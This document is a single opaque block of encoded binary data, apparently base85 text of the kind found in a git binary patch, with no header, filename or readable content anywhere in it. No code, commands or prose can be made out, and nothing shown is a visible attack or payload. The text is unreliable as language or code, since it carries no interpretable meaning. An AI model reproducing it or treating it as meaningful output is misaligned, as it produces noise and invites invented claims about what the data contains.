zp|o>k#-Xv)p&B}4lTo2m1Q`%PAK=h#v25`3LQl)}c1V>bIJCZ> zaZE0J90m}6SwH9wf*d^5`_+k)+2s*k{>L=|~d!hm+0APk-(*V&Me(^eT3>&mg z=+^e?n_!9H9Y0E?yU!tr6%y;p$lJ*Z*TE0OA6wYl>x3-rPr0mSozTTOP|Y9}VI+b) z59pNcY8Hbl<70T}#YhGNQ0Tvdfsu;x@on=Yy$y(YZ=??NibsFuGf>6yw|MAA`SNw* z^)Qab#HWFQp(4yXsDx?m{_kN1z@gx&I!Id09_MdpS$YggIEE5P(fp|5KmnAUw0SAq z5$aVW2X)n_FHWO~2#WCJe1%+xK4Zt%3+=|UK%T$RLPWoX!nobkw~BkSS{l_4UB5u= zqCo6fq{sLdA-#DAImkpOl+ka1ZkfFkcU0g;k4Ler7la|&x87oSkUgg5d(o6=b$lj{ zCSng>+`)FfAiV2LeV3N}2&jc0!fk#JH8fTYwNpbg)KIt@TA+r4)X-8jbp0JFMJ}Lb z@q#X^5oj*jsW*L!VK!Bvff#2WjdRRcpd{e-WJ(mGtVN==NU(GW zXmjlLAY~PjLTaB04O}`zF>6~+fD<_~@D;qW;lJ?38BxJiRmIeJt+MO%EY(H*od^*--^^i>u2*wZEH4hqhQd!@Clo{5t`DUj7BTng(RQ1 zxn5rojNhF!%*uuP`N;7HKx+Jf$ekEYby)Utu)ASk9Z;9nKQf-ma+Oh8vP?h9W*UDr z$4Y#Xcm)O?>cbl}f)js-gKuc7Dt9tz+1e)pQ8a@@P^pn1HPTGUlIxQq% zfw4%I4b@12O9dqow?W9yUlBN>TmVji@l7kX>O~>G-5M$d(-Wp_M5!*rN`!IX?eFG| zyPxfOQRw{OU&B!fvFOE{F#=}10C8PDOIh@axEWcdz^OiI^!Fo!=k?Sv11$$K4#mcV zkA4eCEsvFdbW@Bh`6c1LKEpAs+zbG-TG5J{=ZF9&9Ok+WkrYta8UWXJE4ib1E8Z0vp29lQ5h0 z`9x^Na$gaeYo6LZ?iHa%)B4dgOygcivw*TJp7~XThBXqK{F=};;x$4HZv98Fy|TEI z{w!k~UlTHWO+nE26?H$?Z~RTtz(r-+Tk#~ek%|UusN+TP8xi6MP#+euSx6rE0I1=W zivs31u^?~h*u~J|VzA87%pzwHY3+O1mJj7j{n^ieSlz+Z7EMy?GPYo|Fg*V$M43(g zl}q?z_hv1L=oUX@t_{)HN8qnWuXhd#;}oF@R}qj6+sft%5xnKWt@rZ(s+c8wiQx-I{%4ZTcW2w3*H4W;=m`|XWGZ;S5xjS*d63J3>sm8*d{w%6)`k#Y7Zl+UJ-LY!HoS$Z3324p>CLhJwJ86ZWy1k3*tE zGX2KMqJ};Bt}rs@Ntzu zKcLYa-@`jV=51(YivA@N4pN=Xe+l;?N5N%dxMY2j3R`s#>~I4tMuk0o5A4+jm|leq zy$4pR!bn3v*8lM(ud@r_WAO46usACA8;2py4&W6UH9QHUlJBym9C{bWKN{^+p=TPQuX5-m6}n7? z?jop@x4MLbD^&0z6}+i2^Fj`NONGu=p{p99<2m$c6*^yq<~2fxa_9^dI#Y!XZiFU( z;iLf>u7dMbaC{@U4bR+Dg-%eRA&t;r4h>hKV^pY;+Atn}0+acTH5!aZivBo7dyEfL zBHrOM9C|_n8&brNQ!{_qn7M+3zo5(>W1!+SjnEG{bb|_=q~=}F2;IP;OI7HjD)iw- zXaR>lrb1CK>QB-4YXr~Y;B*x{O3mE55jvhj+pExFDztt;Lyzy{&>$6>rb2&cgm&Z5 zpTIJrONlDwX}M6#aJub?fIKju0-%0f5GSybH3w0gIgV8#mkq=|hfPcp4=59;4Z)Zj9?(zfndK zDxV5Lg13->ZT(nCNav{a6rt)bizo@?No9^MY5F(c4GCJ@9!JtVoZcQ;(LtlYum+Lx zS-iM@!ECzV*w0#jEVO5xGsPH7oZR0EAgMfg&90+hCB9Wot|69!7Z?u?Iu3>X1A;{E z-xetYMILP`?i*g5<{S3O$3oJ8k#JZO$ec(w5NOidI0AW-7NC@dCapzeQyCR%lgbl? zHoCZ!bL@dngs8deN*g=YP*l5yqJ9H8-%ym$P}D`U=^{+HxmpQCls39@%_Z43Mo-ln zyN5XS#7aM7?mQVHethBVq34A5ZT$z13b)LnXaIV3vKl(mS_gFWd zBgKj~xiWSk3R+wNwgRA?u<$SA6X>NEj`+C`u`SO0R8^l_`h#;B!cNec|41B>&9U45l3?&-&AkJ19OpXMCn&M?c>l7+DJ2IVi}(b z^+w+o(hfURe9kP{@Pr>&5vBeWHvBUo)^PTf0M`IL83VI_Cal$NE!iIOxiC|sZ6UKK zz7Q5lC4xtUFU zI>)^fkQMvdrj+4!=)r@ovSzl8*`}H$t(8FpB=!XjS@;W!*d`2!gu(!v)`MOL-Jhu; z8{{$1v2ojkf!goZGqz3Wr0L9dZ41)}D?Lt;e*v~47m-)!3(PMC_SVBWC>x+A`kG2clTU{+i5M$L! z$=isRA-drWKIYvnJgm)nie>B&hH8^uV8uHGOYE380==X=me$G)5Rwg=N1HCQD?5Zi zE$0*P|{MLNZE4N)GQvxZIGDWt~Va3VVY2$W{ke#18a_Iq~z zzFo<@jYpO8VphHr!kV5vSjaA+d&}osYGWf5VFPb$CNuAXrm(JnxpoO@+P|M?dv*yO zw2yRW7m>czj;APnEjrf=BqN4=`bE}uw{X9 z-bsUF0k;eJLIlxInMy;eAt&aaWI!pxVJ=oIMKqj7K56)+(Xn*zG-V zaN=e0dxhc7ig+}W3k<5Un22`1MwfjHZ0=DdpzoniTb(0c&PG(O+gbpJi(q5Na+603 zzKE$^fqzT6AGB;`%FB>=IM>qd#On{%9W*69lzE5<+|s=XJ*AXGsX1HdF3`H!)pBzc zR=~f+HJt~q2xlQB?ABhPW9(*x%)8?Ngu4x3iY#0tXS=N>*k&a~EWJ#K)|zBCx=e_h z93x{2_C#vSZ_#zx3>k)~Qc)Wq92im;b!w*m((@k_b_9O&0>80=Uo&y4hos^^fk|;I zddzimiu5d=;{}&5vD0Njf9X*KTsI%HN4aiJmWp0tZOetp&A;nLvwTDeUCN#=7y5UF zQ83owIjeltCRt*i=Fl6({#9KpsjclDrETG`l3J_GVn3A&2|bre#fxy)Wv)G#DHXvT zFkO>f5hd4c%)~UX!{hf762*tj+lHl72oLq#yNYfmPJj&vhf9W~1oj2PZ%eh!Gojl2 zHHE$KkKqS!1^c7|4$$av4KuOCkZH_`w|EN>-Z33PIK@8cx;axSszbnabDmW61^<{Y z6}`Ye7T8C-ZZ49FN^yd^ZaSo*6FeG?{(;U^^CvzldWxE|saoo8hpsdj`+Q;kV-S)= zfVp>dDboVw)Y#y1=y*Lm<9T00-n|fUQD6U*`1K;z6?<}@klp#o<$>NoYz@?G^*k15 zExKXXPje6OY25>;$IQD=_)zO8U>o-f6Z%Rx+ltF}5E8MAsnA!xOBmgM1TJ7pblz(S zI9g1znCczoz}ReKT@MJIAHD(Yek{+epkJh-ViW=~oLpzY`EBv(Eb?DaA}6hqD(sCc z*M5jBrqDYkdw|1gk*y3j4_@>byMwk$GQ_qk*vkimM6nbZ{KjA}J9Oy$J-~kJI6TuO0xgjgBrWE11vYD+Y&$C`wvSyD15CQ{UobDD7@V>-@!K$ zjYGD3)K<93w$KKF&dUsSQ^2Qq>NG2KJBp!5R*75hqs7~QuN2N{#F6nUEZ7W7+0jEn zRPaf3kzG9mXC1kY?adFvtAX~nO|173q0i)zucKL2O2Q&SFY44Q1*I4f7so{WDa=;N zJT-=6BM0YB{rZ*#AwhLRq9I2Ka!kf;!Qy8z`}y@4ySqdeChiQvG%G7u`4M4dt6NbG zXyy#kb2P&q`bIE17pN#@BpkS62ne6#;on$}PjZ#Fa7-wBacY`@Ayk}F0GuKf-G^;m zJ2W~Iri95I>M;OM(;5Vxy!#ps7I?RA2j!vsYCJrnB`H;>EEzW0han=@BDL!$V9J~N z?AeFMKANptT}6u5WGY={t~IAZALIw%1T%0Y3P0H%$sv4;L2lS+2XJim>~g$@S5!_J z&9#}S1yb=llqb+gQnuN^%-;$zeM_uG2&^ICZbD0_aeA?>Lg zEbUn>Zl1)}BHx6vNufb1J{zy%v!Aeq34i^q;;Eudf#0!#Ut8ceH1G?|!|_=tez9~_ zds$< z?S;}2mq&5tg335>1(_V9$v3RUzesK}OfY|io&`l|En$zwtSM7NudfgE_Y z4Lf%Xt`HV5saohC7dF2Uk*rq{Y}~zAWGtIfEo5qzvbU>o5Mqy13xkl=a9pqRrCN3DedLK2S50`~ZK!a!trl~1;?^)zlR;y zf+rh~@VED~f4+y0o)4C=4yWM6X!`bfr(j~$>A4aJz4LAPH$Zc)#J5cjgM#fLdp0*q zi%@2kvQJM7#(@tvz+k3|tBupNunZY$|AP#$5 z*K$|}8M!j&n@C3}WBC+9cb!q+z6hKDTgORIZ>L*O2S$J)J!B7cnKW?zZd`PV?L8w5 za9&%8Ng~BNIN(w}^1zbM&$R`Vt6!ij-8rDc@hBn7m3|=zZo&D=pSZId+NwlboP}mVXeGVPRni={VRtVFkFO_k;2aqH@U&>Kj`=Ot$s&P%2bgFwa#G6KsV7T#X+bLE#y6 zht{PIw{14o^#|`SoeIW#zkOU_ZCoXiN}vtZO8>5YE<9T6(B@K&%=nF%740IT{DK8X7Tsz88H@q_`F&w^; zg1$uchVl9>nqH4gaW>f~N3pIy3bC39X8jSSg-KEDg&*O5DC;R&hmkvRxcilILZSK; zL{XnGu`WoDx$roXuEd~Pj{Dopl_2F3UW7yv+UR#3Ei3h<_@)fFZ#|Csjjr4OI-rHM zs4?1uXqeAMxo+Qq5e+d+mHJT}$}%np*;-*TlP`esh>Tz#Ul1ngQuHA#;v$A)V>Rn> zQE+P4&1M%a3Q?@$B21L)*^d{6RLx%2`jYU5R-DUrT@n&PGq%wP)ysxVBfEM@=$vyK zdIH!2ukE1zb3wN$b}v?&eJ~Cjd)pd3Fy9(;vf4nKG;nFIR}PG$V)PqmS-PL$d1ZY` z1bgfnVAT~1%@pb;ar6C5YB@)4n!?LR1LXy z@gH_rn2sThNxT=uXQ2kk^qqwzQ_!!&zlhD>_Z-t4H zit7Q`W56Hat-=3bl;k17ZvEybf#QaU@O*#|o9v21$82u>>l6(JU0);C`+>{jpkuny zXv;q=ZMTdFn`U+w*)~2A9^|j^{Uo0zc;PL``hr%rLXuKTO!VNAB26{4^N@fI|5<4J z*d+}Dl|J0J8A`&zaaQ@ET&3|>QJW2m5u>(wJskf*t7o{x&SjK zfhNf^U7)+aBgzbF0ni?uRzbsYvu{2=y)*TN69 zgwtUmtluv}zo@ZCRMM67MCb-6j;@Es9bwL2geYyxactu+LU&Qx_N2xFXEp55FG61I zbSQekDg}1-^bvs%D}4y~=r^4W{S~Jh+*d64RfsjVeGK&RfgEh0h-^ zeiaI1=T1{g=|7%6P)h$1^np_P51hs_uL!+bY=EW&5xbMj-8Q6|@z-p>s?@RElG+-Em3d5y!3Ga5pBF+y~5Ay9VEL}8uiP~se zT`h0)3>-lBH8gr00uHbaSR;p)^k-!w#c1sZkFjfB=mzwEgh^M06m7SBX1OX1>L*rU zC)D6>yQVPh#~*U;(SUDh$`W z$p*utv~yT9EWfmjWc=6zn0N(@n}LZ=L--hjXypsCG;`|>_*PN%h(8gbo{PXp?&eT= zz;AKj*Ae*rm;VMVgQJvrpg0-?B9ICN45Xd1emK&(H396+eRF^SaYQMDnldbE${_38 z|1asoo6--tH~kf~`#;NfWu!ep$4K{`AsHBR#RCOE=;0;s$WWyg%gwKkMrbEeL5~w= z=KN@Bx-w7!quAEpg-A^@JMcRY{B(BrcOfP7161b-GbMeFU#aLdtcSFW`~~z)NB6X} zjO!HGZm8owdNpMH4I%h*G@M?*p7=wEYO!Ap$L`>%Vn1KNUi?FdZN5Q`Hm+X4%Ki{K z#@WnBmg;DnDh+wWJ<48BL7yTGwC-7 zA#B25aH-hugTTGLy#JBWW8h+ClzFt7bbN8q{fot&C*ofO{zaSRzpe5eGZ2-ajDdV( ztzv}ygUp;ftGU~6WiGv|&e*hC@$@Eq;i zbD>KCcLmUnxe!9bm{f@$Y>k>csJKpAz&g|j9h{FL6_L%5pd2U8ah{W%XQ-uI|r!wDp$hJ-1}s43f>P)-pZ!(sgRjpz4(2!iCGC03dQTH?t!#LL+xE2K&xtyKIJ%f2qeG;=`(jwU6X&ATqN z4$B)4|C`kj&?9oMXU|_3;#(#oW_DG&yq?dj?l|JBt_yKJ@4^(bA+p-7LVZGdnzI=M z52eDueJjCG{x=M~aC2@3_CAZ1&%Am)>F3H-I|6VLzimnyF0qTj(2nc#7#Pd+i?~x>vyL z7!PB4GM3lX;R3~Lk=K6`9|oZf%(^qCH^q$)3umssg~8Iyeel{Gq)*rc$x(T|mYw<= zo=ag-43>DQC9!OFxxjS)2)5{kvYW|8pLC-F1$^Y8l>C2$)TTB#8`4o5Vr!`lA|8;eSk4eJoCtJ)DXzKh;%cp8Ca z&2?3N!%}?t!c0{w!V|0f`dJ9M4KwI(>|+FZuEAFQ5O_gSZ&!40aeSkyohZe)@laJ1 z9gOkoKGLqd_C-jTy^(D~*pi`ux=g=$cY)(Wd!SM3Jj;`BYie_&FuxTSKsDM1+X)Wc<1$YboodX%0%kzJ@4 zMmo2R1~U{Fq_pQLAx{kQ7UBPDesE7L;k}1gKe_{%yx#?dPAdmEYDYiIjv!y$Z^R zVHfCD%MkjfKB&~pKEExL42~VybUXRbtDyAu`O;w{38NCzcMA<%dG3@l1CB?0N3!J# zth=5=Xi?SL4`7`v3R8Z3gsr?I40M|5CB<8|{F~&BCPwM>2ZOjLZ!E^87+TV6)y%b)I4r0ZFn@&tJV2vqS)K72m21eV zHcVN}OCf96W6Jwji5P=6%4D_Z!%fNjo7jv03bAa*zke||Fc?jizNa#@b7z-eIlA9XYr_IhF17R#x4_omGbAnqJ>hpQ zj#AdE75s}IwP)V90ha6N8SY{M^!*mRX0Q@bWLkA%Fe|((WI9V>1x4QbF*t1%H_uAK zF(sUTqJcqPJTVg_=h*nGF&d=>mUHQ-Jd13#p@F~sUPo?cc*};nEqyXa$VEJmBmZXR z(lz*3NfzP5W;2Q!T$-KS%sddB3e6$4%L(m|AajY-kj;!SHS5mhc&2O2o+s*tmLNmX z3H$U0IF*ow66~X}V;(Y>gvB>NkSoi-ADQYYQ(D0-jiXNkjB*X6TpdW5ac?fCn&&2R zQ?`NdSFRiyMEh7ODnQe)_CwIcfHxm<7Sl&8u+M}`ojwrZDo_Ud7&L-a!TKLrurg2U zcmTY}Nnf4+xG&q2a~}D)lNme!fTy5%E|s%;{S%HWj84Dt^oJPUDy8f}Y&)3uzE6jX z^}HuC$UW-356Ii_G>W6bcnRFA5EjTu&LUEYeq+u@YJ>Yh@@~r?bso2|CEf51TxzP8 zo{7aLrs{qaqr2WPS$qi;1cu^BFilKVwSEF^Jqi=;6hn) zktr@0g_ui&beaLp`KwV$5L0!klQ|jMC&siVe15?_+iP=2X(>|nM))% zLr1brQx)l{Ixrf(&JD$=TQ1YlEKJJ>$k&Vpf%jX!VNR^W2trsya&x*Y`xL*p6|L13 zI7Afa#d#3K9?*)hPIylWvi}0z1|X@T78FANB9y~9v}t=FnfDX0BmOc|1#;$B*mP%n zlmDxqgHYmN+8A)xxT0mLuAzxM+R`VDTr2<2=z&yPBDtfU0RKC;S$MD*ZTY{g&^*3ENf|(0p?Lc_p6XXcCDTj? z?Ge-5I!M{Id?iY3cCgsNxfQ*n1$ha-4Z|2%kZ05d32vNjq_u$s8H!QDc!m3oSzG8! zDt-|OuqdUXwfLZw_1phgm>GPDO-mbf#y)tOJEhcmCQz3%h`Q3O)Oxm|atfz44o=C) z6^S>-Hd&vKn*ay(Vsam4#$}!NRL)Fp*SKYgB#295)lky(qW2y29)EXx%U#22|cp|L_$3|vb#ex zLaLJ!2}416^@fC($jLjvC8>?a|0zI5p-@njt$BrkCK$D`ZlcZE^0d$^fy%{nbVOs1N7~ zC4<6%?7=G6^8vU?_9K~aQ9%L-EJpH{K2JT?@oL3N8K9nnhYvrcpvLgXnnxugtZ4azsIFcte4L{^gPCMiE3PkS-~d zzW7aOYX_CWbtw9aQPHBRf}72y^<`kskO8ftHpr0`)-;PT*WSTgYB6S)WXI1fvBb}@ zx)EpIK{$fCFvkb2fr#E?DX`~iV9f2Wjo29yX$-|3FVdWTeYQCBaDaKmm0~l;Pu@m_g$8tq*CKLof zCSLSTyr4T{Nt+X&C#`;)w zT?>3X9Dvocwjo8Tl9mI#3(7wY;yydDo)w&I#~s+^IOOpW7fzBg84Ir6R@5jOiTLU`bX?!_dclA&w!k3a}ZNwaVEWnn@-W0 z-XG{=S0@oNAi2_;J3>pMpvXlUGvw@~916PlEWGK*o?dv=<|(Gkc-xrt+SHMPWQWf> zT7yMIvzyB&7SE*fif9@7jo-blE~1}s6zJ%YNVOzeV!bWj67S4~7hh@hj{u@oyus*W z!B9v(`7B6JW#ZiNeogR#J6iNkD!znX@jlwn_5bfa_T`5e9pfMgnmeRv?kF=}AEG6L z2a(J1r(8P?)?XAZyh%?!FT|a~|KILj*{pW=AFQ1J* z*AgC(A{Sk1^X3N%#aWsQ*QpFC{l@osp&$)Q5X_dHgvDu}c$XnenkHrx`a2{5JQjyg zbKd&EA(UxvZY~%E8u1;ZP+mjY${?_}K}tM6-O=995uJF3L{c6)gXu!?>L4l$(penV z+vD?3coHi3ctqSbe#sgOVr8*Rrr;NsAu`vo&_<~EWZ3m47C=OsA4Fvy>JbOeFV|R zF8rwEi7LN%5==hi7p;`n8v)9xQWA=F@6fplVrIBA1v6&K=z>N{p2KJ`*{aI=@LXn* z#4gVFk%$%z5x~%$IQ<~4kI3t2RJWltSo#AzCai|5CBYfhae$r!$Om7MXMN-SmEPr; z%bjD9U-|YG%2H*^r;Mv9qdSc21obB;`#6+UGuK%gdC9YppcU3!JpuhjJyrvx4#)7nl;jbLFDHE zC=?}r2Rr;5EySeJsXUUOupkXj4Wni5z&k4Y^wO@sT9N}NV@IBZ1SfQV{&`ap5lLFW zt+mG(&XZumc#^fl*y5IAdW)-8jy8(P=mnO^y;Iq~mg2}M<>YTe^~JmkmZMxUcLpSE zdYx;9DGVL~RUM{~{g^2=20l?nMA&r48VBnt$ZXt@g{djOIY3)1442pCNQFz1i zt;ARs_Zqx6eFooj&fzEw9TUy+0q@In@*h!V??d?k+vRvH&l|8Zb@?+Tyy^$GCm+0c zJ1C(-qH}?|1^T@k4#vB-28&_IMJ#ab5D`o=U2Is=^1~dx)dodS(L4geezKV!6qw|C z(5c>a8Hf8d!*CSuctYJ1lu;7=7}WK(P*ay`g75K zJ3Kjl-k<$o6uWikgeDW*<_gmhi_}_K3T8LJIsBW-I<^)QCY?%E*_=U*ARpdpSlY*A z*bnMzQFkbYL7uz-CathZztB%!IsI>b4=+OB%kNQzfpNNqb>xZ*+$O|h{cwKooEobPX-c@X z@E(3I>|TbCaj#~{5O;%*wdG$03fw}6EF7bOzK0dfpD0bO4ji#}4b~?S`f&}EJ-=a? zh0(&kl<@TBI_%0SWhOHDj!{A!d*72sKf3iC!jsw0f}S29Wba6?ugCG*+D>I09uK(U zy=cN+eU013`%t@E1#}u?fl=S=3Z9(El?~N9wn@?3tn<`fn~bX z6#FbFn?(!$gB2&!)c@(rxN#$cwH8{3O_WlD(c)A}h@UQiuh%%hb&mj3;(6T|0kc6hNy=}$V77-TUNol)c zcKwm(6P0E*_6KTkeh=9>ISC|11Jk~Mr$ihoC=j}}Ir87iY_(Xtpo;>PfBT|Ea-8xH zer+BPDFs+MCaWGAU>~MT9ZE7Vx&g2^SE?zoJI>c#IfyS;YA3098x^txA)F^j9}kaQ z5HBS2T#(4rLo&ggT|R|$B(ZyH4#wo;c4AbU&SWDr9;`l~x_t#dcyJ z%`dD)tk|kcGxWO=wzoYfF)eCq7>%dF#hfXVO7sLZdwznSzAgcj^mR|fw z4Ef0Thw&H84E|c;AE1cg6sFCPOs56uX~!u?&6o-IusBQFl=wLg1N|&;0NoCY^G&rq z-cb7-s0#<`=>9)yPYyuf<>ddh_J_>u_4ZX zw;jZ^@E$0x!Ax@EG8P#p&eeX>i@D;&e%e1|wlhxbtlgi$F2sp#v^_oSR-8CkJL3!+ z)KN@!epcQfT;uvIo|O<(-2%nk zdi>%AzIajAtYw?x#U7fitTJAVAKHspJ$e!{otoH^n)oJlmK!kui=VN`E4QK@{d`>Y zVTMHmZ%kYbt0C9FQqfbaPlDLSnGs4u;-4=)`#qMXRCEVaI>NBhfeQfongVeP;-odO zC#UfARaX3+Y43!;^Q7W$5o?h#XjnpE(u-gh8H-yfZx8%2@124X;;nM|lcZt=iye~0 zOz$uFz|u4C(O`5yRVR_|Et%e(N)S70Iu}0b5nq8B&V(I|(uFs|Gh9QxYpBAW%?rVN*+5JN`l*9*y|w6n_R}0F zau$k2lg$48%0Wam_S3fsJ>#ZqJ+V?f!*;)S5!*v5h9kjy`V@f>ue7l@2ZMD}ZMvzv z*8k|k@p`onx4`TLDjeNdp{qX0ao>Ly)G$l`Jr-`1qsp?kvVXhcqVg|9sLiIK@r}W7 zaK#==;&qG;JojLVb=R8)1oVWph?=GjO2foQ1lpI@)V>!QOQwlm2ciShzPWMF({4AL zod4SK5GJWUe1}7x1F@P(Tv>yaZ%KtjNh;6}Zr-iTA) zjzon8gC?lG!1DuNOvusQIB5070k@`4kcytgo`6Ukk?Bc}Mwv%Z2H#u?z{203~3t7-rb6T}OpZF<9_uXJ|r2Z1p zE&LJb%8{JN@lvdB!td}+ni>L6+UT=I zp1KjIcR!mvVXZmw2&7b)@PEmHDA{ozQ+~4W)4iX05}&4&6R?=e!@EwvJvV5-4g#%a z*71C#Mm9qkT8kqlzn)G*6eJbhRA(;VKA2|B(ZVyV&Q%|bXJ`@c^2a$6X}YB16D&MY zjC0aGdCG~@k+h=L;hSIK*zrLNKeJ@zCZ#7d%&_QT?tt1Lq3@^c`p54tvA(k7evC9N zE-d^_Fvu<-Q1PD{zTBYOOaIqvG->I>HmLv8{<> zB3{-xpC~@8xyE|;6gziH8v+xjWE4PM@};TtE1ZH`b#)dxM3fJiy{FjM*|>JprC^mF z{Mmbqb05~VYE))PYL*Unnbx&X7U08~r8`H1@BI$x)EG$x3>QnK*h6^%m!7uCn`*#rB58Z9IE48TIXDlas|H%?tGlMPI!{#^btF>`>L}JJMPdfOj((QPCUO+vm7P4^(PLn zl0ITj?TT2ot&i9>{^w{I<>lff-hF=KGn52aD9M$vr~@{J9mXlR?0uAJ`icYF&3uxY zR0ZzbZ=9(X_Iyv0Me1EW*_giKeQ~oVfK5fKMj+a6j71va$7Dka4;z-VkNS#TH0A7M zU$OI)_fQ<1@1VLiq!fs^)Z=WXQwy_*8NvgaWC&$XhsX#=WjipX5aK@bB=5o2M7rtu z#&2B0!+^s*r*W1FlsWJ`m8g6$o{dWp2ifwunO{jY27_qMVCW$QDT6zqt?Dp(4Bun< z`;C7slq1Q3{N141&d#HIYsOo-V-y^Kw;-iWi9)OHtnf4Y0}E{K z3dPutvVJ3e-G=8W)Jn;ZX{4md_7eOvZzy-QLhqicD)}~9-{YeIDG#nLTfPbZ%ut<^ zf5IK{5+D~$V~ukA35;=CMkY#z@w;l%h5JbbzIfo3)43xECnVk;Sd1}I9n~kn>!||> zt9}gbnt+aw_$wp^2TX5fv}jBy6;*JkaZh{Vz9D=064@}F@Qh3Vn##6l1{nSi)f8Al zySmVlSxpHEe%ndKd5oJH6THC_%xOq)PKB>;gqL!7b_0Aj!QJ{I#L_~FLs=ya&FR{Z zXoH$)49|KN0i=ut-)?V~HJ;431|T7MQtq+?hpTEeM8PO5=`fyWBJyx?xc56+T(ZGH z^}%8;-phr|9uGgs~WM8?-4V!1IjIC(_g`u%niy2wcCue9!h|1&v)JAMGh;xoAKkL}IG_jqwg`O=-6Z?d}YHV88 zCnm8SX<~wQwvk;-6UUF6fGaBQYv%~}wKFdaySnUNJ>5(gj5NJ1a&$}M!dyyhBwTny z7-55dmn^(0y}1KA(IAP)WD`tcT>Cf7IDOGfyktZuGSlXU*CCvH#A_clu{9>Kw<#|O zB5wf4x*A?}04^mSdQ%G&Sh&9c9iB81BSON8=zE%T=Up~$poj-?+p~vEV$T-eWnvuE z(oaKlGO|CFZ`1w|!6HmzqzIJi%>(1dem9A~Xve<8PNa*SAH!iva-i!{gthLv)WZ53 zPGBeq=lllm=Phsw|E0Vz4BXM4oMvuG+M6TbDl*jlV6ZyakPj%Yj;9j?zTw?VBKUn* zPFHTHC$XFiu|s+ffZ?YcM?jFbBA31i`_scV2IXUPP!;<521B;k%Vg-+5wgWD+&0>H zsTF%4CG?u#m`ZtT9G@VL-&FN_zy6CbTAF87R~ZB5v$_m1(|PSJJvZPzq_L$LM&dYt z{s&h=il$4WI9wXhJzge|O(jy=QlOp)%?msdil|%C_G?n{GQQgnE1gM@;Yo^kpSb$| zH(>}*s@Hw6lob&mSN&b^APC&L zuc;#6$X}DT=t0x?__!67()NSCOk4hg@Lf}W*ZrV~sqF&yveVpsd`9-e{bGVN6JjP> z^6 z=#nvz;?B3ps+kToJX48`W>?MPeJ#`P-1RGUVYI}0P&a-LV|@pU%e9}(V4n;YJEnx8 zT>di6Fr1&H&fb#tDfHbdiB3DJ%(;#HU6H@R1=+aKOgBXA@9g=7o*pfKp`MV(2ps%| zPHGGm1I2VhOtc#Fgc_5Km~b^_k{XkWm|!&~M~%ru%&pIP$tE?%hL{>Prn?$512K1< zYE+aOwE$6nt1)^tW+`H>sxdd9@@flsR5uxZR3k5_ktH7N4QjGAJnslRQDD%iF)P%V2*lj{jCX048Z#C#z11{h z)tEfQB&ab%>)2Wg1Z=nn+v=|VyB4|ayD2R2qnv1Qs4v-+At)*HA*wyQh>s4>B*CCFrIE6ti z2pUJKqDDnc#jA0`ib}t0o&DKu8tL`*eV*SR?=R1Dvi4`Kwb!19v(Mh=xZ^+V=OjAf z-x%}+PdqLi-uQ>oQ5t_+I?Cd^q{A2ACLQJRr=_DH{-|{La z;yKdY%5JB0$JlL^?l`;K={1j3$_aLVDc$Ytj!8G4rHj8Q-TaE0c#CxN!btoX>CR?% zSh@o)2KPw7?{J7WNVl8a>!rJZ-9hR0u)9LKz3eWR?oxK2Dc!v3C0;7ses&j2cNMz} zq&vv&aX%ROUt7(E?Tsc&l_r*u7J_ zTi6|u?gn;0F5OYyJ{WJ5pp^x;OLvUj_0k<@_gd*ru)9jS+u41QbZa!^#eLGPvwMMb zJK61(?re5Xk!}~e-Q*5XYK+$^1=-TgUlEIEO1FpInsoE7srdKb897nP?znW9 zv3rkn``8_o?s9f-lWx8}i#JPm6}gwjACMr(f{=7qv-=k5u4i|(bT_d3D(Mcf+b`XX z>|Q3_VRn~EcQd=^ekZQ;(rw(Sw~1!2KIN#=bEqrgWAMh#SKe>1>aX5r9MBJV>0OZJ z$*0@Jz}fl{Il~W7YWXlepQ@tmFn@o^g2VU^ek;zT^Xccy!}zpR#r^rq^DL403zS!j~U<>;`$Tx)6ENgqU{8Ig845t zF>J0rCTmi%(gPb=>1eTLuAXnMIZHe^SND&8nl|-f4=#1GMfXuhJg_#%eayPFfB!R0 ztJLEQt`{@r>0`}XcZy5q>7E%kj-?rzx0a?uWwc6PPO~MytESYMd}x}s?Ch_7m+s4o zYH5E6f22F#)OlmK_ynS`~*58OlhLqI!ka$`c(M= zpA$RvHgq;7Eh|kE3a6= z`E=Lk2Rn>4cW<579DjmtB;?9K#R8VDCh1(-8(I6Zm%arRe~wxXWf+yRu|r_&TeB^1 z6<41(!P~Kg;y632guda^v`9`%X`4d)yI&7tmdR^QcYGmpk6zEYD_&24VnlBxxbIgE zb60$o z2KEIEB2Vtl>{6&YUTiv9&ogZiAD*lqk@-)W%TvmF#XtDvpcpV;FEw9TFV35<=bC;J z*UZ~)} zK3%te)wne)v&}2+E?AsP4?%J(ZY?M?Rop@=?xbrY-K=XWDY?-9h+Z5wulA))Hi`&^ zLH)Su%uhd!Iw1ZoLe|+!8n5sDOkAI+>xz=v) zeHr^1b)I!6cD)E@2r>9M|2(>L+eOo8v3jB2kH+1d;+BQ9ru?%-G%eJpn6`icAhE@+g-&@m!-ntr_b*-ymw z(`ZfmLSZk{XH7nn2Bx{R5T0K&sa&t@XPjiFW83sHC7M6BJ;eD({VN@Z@2DISKZ$14 zc+kJrBd#mc_nH5siNBt%j~H>wB&z2VsbrJXd1?yvh0~j!I$d9EG7g{7lEPirQnGnT zLB5-SRurhmrm9d%r^mO_u7a!$5$>_$gJ?=b+joORq@}jQ_)hzEdM-snz^n0p()Ri_ z2M?0we`pXR%~K6cuIz1QZpZWn%ulF=6(0MRnN~Q~oU@yoTkVT9Zr~jCWj|2f$sKc@ z=co&Gxn-ef)J}Q~K|UxyE~Zs~IxIc+2W{5cWs`I|zW61DD3@m1E+rj0Iyb3fK*mX; z{S19ruPVBIr=j(1(rKF}MxLop*ZEE4Y(SiUCXE)P`@xBt_G9bN?W1^;%}M>+UZ(7; zIm=pemYp_SoTnRs@eHV3nrZX+jCW6f$hKD~JDGU~ZAdgYO~eQCX(B*NQLCY_mg zRb|$s+w+2y3A8h(<}BAfnj0?Q*%ZA(mX_7oPJj%Z&c#K7GGkGoV?Y+gnFA;yeirQk zT4wADI>*=*wJQakMniK`TPo7W601SK1atp;uI9(ti~;1ug3gnsy}p zI!}i1Asv9}7W4+B?Inuy9}Sw{M@&IyQ=k_aL96{p^ukG`nzkdYF@mlzHb_x|XVdJm zW594D*ouXJG{_TVkomQ1^VW;wm*~U)G?B)9<3RjA>JF(ME=Z`#5wDpnSMqDu=Y=SF zyqTe8-_ z$1$zzb;(AWd^|mT-M*8HYv(@oOKs*;;xL~+KAqoxQaMU&_UQw&@b;0cb-cTI4SliO zrx(hXlRWR!v!_E`snZAAS6NCd-^PEep;4x8UUPg2IjG{SD=`9__e^{x7{eta62HAh 